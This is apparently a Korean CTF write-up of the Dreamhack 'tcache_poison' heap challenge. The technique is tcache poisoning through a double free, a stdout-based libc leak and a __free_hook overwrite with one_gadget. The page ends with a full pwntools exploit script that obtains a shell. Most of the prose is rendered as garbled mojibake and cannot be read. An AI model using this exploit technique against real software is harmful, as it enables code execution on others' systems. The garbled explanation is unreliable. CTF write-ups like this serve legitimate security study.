์ ๋ด์ฉ์ ํ์๋ก ์์ง๋ฅผ ํด์ผ์ง๋ง ์ด ๋ฌธ์ ๋ฅผ ์ดํดํ ์ ์์ผ๋ฉฐ,
์ค๊ณ ๋ฐ ๊ธฐ๋ณธ์ด ๋ฉ๋ต๋๋ค.
Tcache Poisoning
๋ฌธ์ ํ์ด
Full RELRO์ NX๊ฐ ๊ฑธ๋ ค์๋ ๋ชจ์ต์
๋๋ค.
์ฆ, hook overwrite ๊ณต๊ฒฉ์ ๊ณ ๋ คํ ๋ฒ ํ๊ตฐ์
Tcache Poisoning์ ํ์ฉ์ผ๋ก tcache๋ฅผ ์กฐ์ํด ์์ ์ฃผ์์ ์ฒญํฌ๋ฅผ ํ ๋น์ํค๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์
๋๋ค.
์ค๋ณต์ํจ ๋ฐฉ๋ฒ์ผ๋ก ์์์ ์ฌ์ฉํ ๋ฌ๋งํฌ์ธํฐ๋ ์ ๋ฐฉ์์ ํ์ฉ์ด๋ผ๊ณ ํ ์ ์์ต๋๋ค.๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ ์ค๋ณต์ผ๋ก ์ฐ๊ฒฐ๋(FIFO ํ์์ ๋๋ธ ์ฐ๊ฒฐ ๋ฆฌ์คํธํ์..๊ทธ๋์ ๊ณต๋ถํ๋ผ๊ณ ํ์๊น์?)
frist /bin ๋ฑ์ด ์์ ๊ฐ์ ํ์์ ์ฒญํฌ๊ฐ ์์ ๊ฐ์ ํ์์ด๋ผ๊ณ ํ ์ ์์ต๋๋ค.๋ฐ๋ผ์ ์ค๋ณต์ผ๋ก ์ฐ๊ฒฐ๋ ์ฒญํฌ๋ฅผ ์ฌํ ๋น ์, ๊ทธ ์ฒญํฌ๋ ํ ๋น๋ ์ฒญํฌ์ด๋ฉด์ ๋์์ ํด์ ๋ ์ฒญํฌ๋ผ๊ณ ํ ์ ์์ต๋๋ค.
์์ ๊ฐ์ ์ด๋ฏธ์ง๊ฐ ์ง๊ด์ ์ผ๋ก ์ค๋ช
ํ ๋ชจ์ต ์ ๋ฐ์ ์ธ ์ค๋ช
์ ์๊ฐ ๊ด๊ณ์ ํจ์คํ ๊ป์
๋ฐ๋ผ์ ๊ณต๊ฒฉ์๊ฐ ์ค์ฒฉ ์ํ์ธ ์ฒญํฌ์ ์์๊ฐ์ ์ด๋ค๋ฉด, ๊ทธ ์ฒญํฌ์ fd์ bk๋ฅผ ์กฐ์ ์ฆ, exploit ๊ฐ๋ฅ์ด์ฃ ์ ํฌ๋ ptmalloc2๋ ๋์ ํ ๋น ์์ฒญ์ ๋ํด free list์ ์ฒญํฌ๋ฅผ ๋จผ์ ๋ฐํํ๋ฏ๋ก ์ด๋ฅผ ํ์ฉ ์์ ์ฃผ์๋ก RCE!์์ ๋ฅผ ๋ณด์๋ฉด ์ฒญํฌ๋ฅผ ์์ ํฌ๊ธฐ๋ก ํ ๋น ๋ฐ ํด์ ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
ํนํ case 2๋ถ๋ถ์ ์ฒญํฌ ํด์ ํ chunk ํฌ์ธํฐ๋ฅผ ์ด๊ธฐํ X ์ฆ ๋ค์ ํด์ ๊ฐ ๊ฐ๋ฅํฉ๋๋ค
Double free ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๊ณ ํ ์ ์์ต๋๋ค. ๋ํ
chunk ํฌ์ธํฐ ์ด๊ธฐํ๋ฅผ ์ ํ๊ธฐ์ ํด์ ๋ ์ฒญํฌ ๋ฐ์ดํฐ๋ case 4์กฐ์์ด ๊ฐ๋ฅํ๊ฒ ์ฃ
๋ ๋ณด๋ฉด custom_func ํจ์๋ 0x100์ด์์ ํฌ๊ธฐ๊ฐ ํ ์ฒญํฌ๋ฅผ ํ ๋น ํด์ ํ ์ ์์ต๋๋ค
๋ง์ฐฌ๊ฐ์ง๋ก ์ด๊ธฐํ๋ฅผ ์ํด์ UAF๊ฐ ๋ฐ์ํ๊ฒ ๊ตฐ์
Exploit ์ค๊ณ
์์ ์ฃผ์ ์ผ๊ธฐ ๋ฐ ์ฐ๊ธฐ๋ฅผ ์ํด Tcache Poisioning์ ํ์ฉํ๊ธฐ ์ํด ๊ด๋ จ ๋ณดํธ๊ธฐ๋ฒ์ด ์์ผ๋ฏ๋ก
์ ๋นํ ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํ๊ณ , key๋ฅผ ์กฐ์ํ ๋ค(byte ์กฐ์), ๋ค์ ํด์ ํ๋ฉด ๊ฐ๋ฅํฉ๋๋ค.
๊ทธ ์ํ์์ ๋ค์ ์ฒญํฌ๋ฅผ ํ ๋นํ๊ณ ์ํ๋ ์ฃผ์๋ฅผ ๊ฐ์ผ๋ก ์ฐ๋ฉด tcache์ ์์ ์ฃผ์๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
์์ ๋ฅผ ๋ค์ ๋ด๋ณด๋ฉด setvbuf ํจ์ ์ธ์๋ก stdin๊ณผ stdout์ ์ ๋ฌํ๋๋ฐ, ์ด ํฌ์ธํฐ ๋ณ์๋ค์ ๊ฐ๊ฐ
libc ๋ด๋ถ์ ํจ์๋ก์จ ์ ํํ ํจ์์ ๋ช
์นญ์ ๋ชจ๋ฅด๊ฒ ๋ค๋ฉด ์๋์ฒ๋ผ ํ์ธํ๋ ๋ฐฉ์๋ ์์ต๋๋ค
์ด ์ค ํ ๋ณ์์ ๊ฐ์ ์ฝ์ผ๋ฉด, ๊ทธ ๊ฐ์ ํ์ฉํ์ฌ libc์ ์ฃผ์๋ฅผ ๊ณ์ฐ ๊ฐ๋ฅ!
์ด ํฌ์ธํฐ๋ค์ ์ ์ญ ๋ณ์๋ก์ bss์ ์์นํ๋๋ฐ, PIE๊ฐ ์ ์ฉ X
๊ณ ๋ก ํฌ์ธํฐ๋ค์ ์ฃผ์๊ฐ ๊ณ ์ ๋์ด ์์ต๋๋ค. ์ด๋ฅผ ํ์ฉํ์ฌ ๊ฐ์ ์ฝ์ ์ ์์ต๋๋ค.
๋ง์ง๋ง์ผ๋ก libc์ ๋งคํ ์ฃผ์๋ฅผ ๊ตฌํ๋ค๋ฉด ๊ทธ๋ก๋ถํฐ one_gadget์ ์ฃผ์์ __free_hook์ ์ฃผ์๋ฅผ ๊ณ์ฐ ํ
๋ฃ๋๋ค๋ฉด ์
ธ ํ๋์ ํ ์ ์์ต๋๋ค.
Exploit
๊ทธ๋ผ ์ด์ ์ด๋ค ๋ฐฉ์์ผ๋ก Tcache Poisoning์ผ๋ก 0x4141..์ tcache์ ์ถ๊ฐํ์ฌ
๊ทธ ์ํ์์ 0x30ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ๋ ๋ฒ ํ ๋นํด์ ๊ณต๊ฒฉ์ด ๋๋์ง ํ์ธํด๋ด
์๋ค
์์ ๊ฐ์ด ๋์จ ๊ฒ์ ๋ณด๋ฉด ๊ฐ์ ๋ก SIGSEGV๋ก ๊ฐ์ ์ข
๋ฃํ ๊ฒ์ ๋ฏธ๋ฃจ์ด ๋ณด์์ ๋
๊ณต๊ฒฉ์ด ํตํ๋ค๋ ์ ์ ์ ์ ์์ต๋๋ค.
๋ํ leak์ ๊ตฌํ๋ฏ๋ก์จ one-gadget๊ณผ __free_hook์ ์ฃผ์๋ฅผ ํ์ธํ๋ ๋ฐฉ์๋ ์ด์ ๋ถํฐ
๊ณ์ ํ๊ธฐ์ ์ฝ๋๋ก ๋ณด์ฌ์ฃผ๊ณ ๋์ด๊ฐ๊ฒ ์ต๋๋ค
์ฌ๊ธฐ์ ํต์ฌ์ ์๋ฌด๋๋ alloc์์ ์๋ ๋ถ๋ถ์ด๋ฉฐ, Dreamhack์์ ์ฃผ์์ ๋ฌ์์ค ๋ด์ฉ์ ํด์ํ์๋ฉด
์๊น free๋ฅผ ๋๋ฒํ์ฌ UAF์ ์ทจ์ฝ์ ์ ์ด๋ ธ์ผ๋ฉฐ, tcache์ ์ฃผ์์ ํฌ๊ธฐ์ ํด๋น ๋ถ๋ถ์ ์์์ ํฌ๊ธฐ๋ก
์ ๋นํ๊ฒ ์ฑ์ด ๋ชจ์ต์
๋๋ค.
ํนํ ์ stdout ๋ถ๋ถ์ /x60์ ๋ฃ์ผ๋ ํธ๊ธฐ์ฌ์ด ์๊ธธ ์ ์๋๋ฐ stdout์ ์ฃผ์์ ๋ง์ง๋ง์ด \x60์ผ๋ก
๋๋๋ฏ๋ก ์ฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํ ๋ ๋ฐ์ดํฐ๋ ๊ฐ์ด ๋ฃ์ผ๋ฉด์ ํ ๋นํด์ผํ๋ฏ๋ก ์ ๋ฐ ์์ผ๋ก ํ๋ฉฐ
์ฌ๊ธฐ์ stdout์ฃผ์์ ์์ฑํ ์ฒญํฌ์ ๋ฐ์ดํฐ ๋ถ๋ถ ์์น์๋ _IO_2_1_stdout_์ ๊ฐ์ด ์๊ธฐ์
\x60์ด ์๋ ๋ค๋ฅธ ๊ฐ์ ๋ฃ์ด์ฃผ๋ฉด ๊ฐ์ด ๋ฐ๋๊ฒ ๋์ด ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์๋ ์ด๋ ค์ด ๋ถ๋ถ์ด์์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ๋๋จธ์ง ๋ถ๋ถ์ ์ฐจ๋๋๋ก ์
๋ ฅํ๋ฉด ๋ฉ๋๋ค.
์์ ๊ณ์ฐํ __free_hook์ ์ฃผ์์ Tcache Poisoning์ผ๋ก ์ฒญํฌ๋ฅผ ํ ๋นํ๊ณ , one_gadget์ ์ฃผ์๋ก
์ฃผ์์ ์ ์์ ์ค์ผ์ํจ tcache[0x40]์ ์ ์ฌ์ฉ X ๊ธฐ์กด์ ๊ฐ์ฑ ๋ฐ๋๋ฉด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์๊ธฐ ๋๋ฌธ์ด์ฃ
stdout์ ์ฒญํฌ๋ฅผ ํ ๋น ์ stdout์ fd๋ _IO_2_1_stdout_์ด๊ธฐ ๋๋ฌธ์ด์ฃ fd์ bk์ ์ฐจ์ด๋ ์ดํดํด์ผ๊ฒ ์ฃ
๋ฐ๋ผ์ ์ด ์ํ์์ 0x30์ ํฌ๊ธฐ๋ก ๋ค์ ํ ๋น์ ์์ฒญ ์ _IO..์ ์ฒญํฌ๊ฐ ํ ๋น๋ฉ๋๋ค.
ํด์ ํด๋น ๊ตฌ์กฐ์ฒด๋ ํ์ค ์ถ๋ ฅ๊ณผ ๊ด๋ จ๋ ์ค์ ์ญํ ์ด๊ธฐ์ ๋ณ์กฐ ๋ถ๊ฐ๋ผ๋ ์
์ด๋ฌํ ๊ฒฝ์ฐ์ ๋ค๋ฅธ ํฌ๊ธฐ์ tcache๋ฅผ ๋์์ผ๋ก ๊ณต๊ฒฉ์ ์๋ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๊ทธ๋ฌ๊ธฐ์ __free_hook์ ์กฐ์ํ๊ณ , free๋ฅผ ํธ์ถํ๋ hook overwrite๊ฐ ๋์์ต๋๋ค
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172 # Name: tcache_poison.py#!/usr/bin/python3from pwn import *#p = process("./tcache_poison")p = remote('host3.dreamhack.games', 10190)e = ELF("./tcache_poison")libc = ELF("./libc-2.27.so")def slog(symbol, addr): return success(symbol + ": " + hex(addr))def alloc(size, data):p.sendlineafter("Edit\n", "1")p.sendlineafter(":", str(size))p.sendafter(":", data)def free():p.sendlineafter("Edit\n", "2")def print_chunk():p.sendlineafter("Edit\n", "3")def edit(data):p.sendlineafter("Edit\n", "4")p.sendafter(":", data)# Allocate a chunk of size 0x40alloc(0x30, "dreamhack")free()# tcache[0x40]: "dreamhack"# Bypass the DFB mitigationedit("A"*8 + "\x00")free()# tcache[0x40]: "dreamhack" -> "dreamhack"# Append the address of `stdout` to tcache[0x40]addr_stdout = e.symbols["stdout"]alloc(0x30, p64(addr_stdout))# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...# Leak the value of stdoutalloc(0x30, "B"*8) # "dreamhack"alloc(0x30, "\x60") # stdout# Libc leakprint_chunk()p.recvuntil("Content: ")stdout = u64(p.recv(6).ljust(8, b"\x00"))lb = stdout - libc.symbols["_IO_2_1_stdout_"]fh = lb + libc.symbols["__free_hook"]og = lb + 0x4f432slog("free_hook", fh)slog("one_gadget", og)# Overwrite the `__free_hook` with the address of one_gadgetalloc(0x40, "dreamhack")free()edit("C"*8 + "\x00")free()alloc(0x40, p64(fh))alloc(0x40, "D"*8)alloc(0x40, p64(og))# Call `free()` to get shellfree()p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
cmd_center (0) | 2022.11.06 |
---|---|
uaf_overwr (0) | 2022.11.06 |
Background: RELRO (0) | 2022.10.31 |
basic_exploitation_003 (0) | 2022.10.30 |
hook (0) | 2022.10.30 |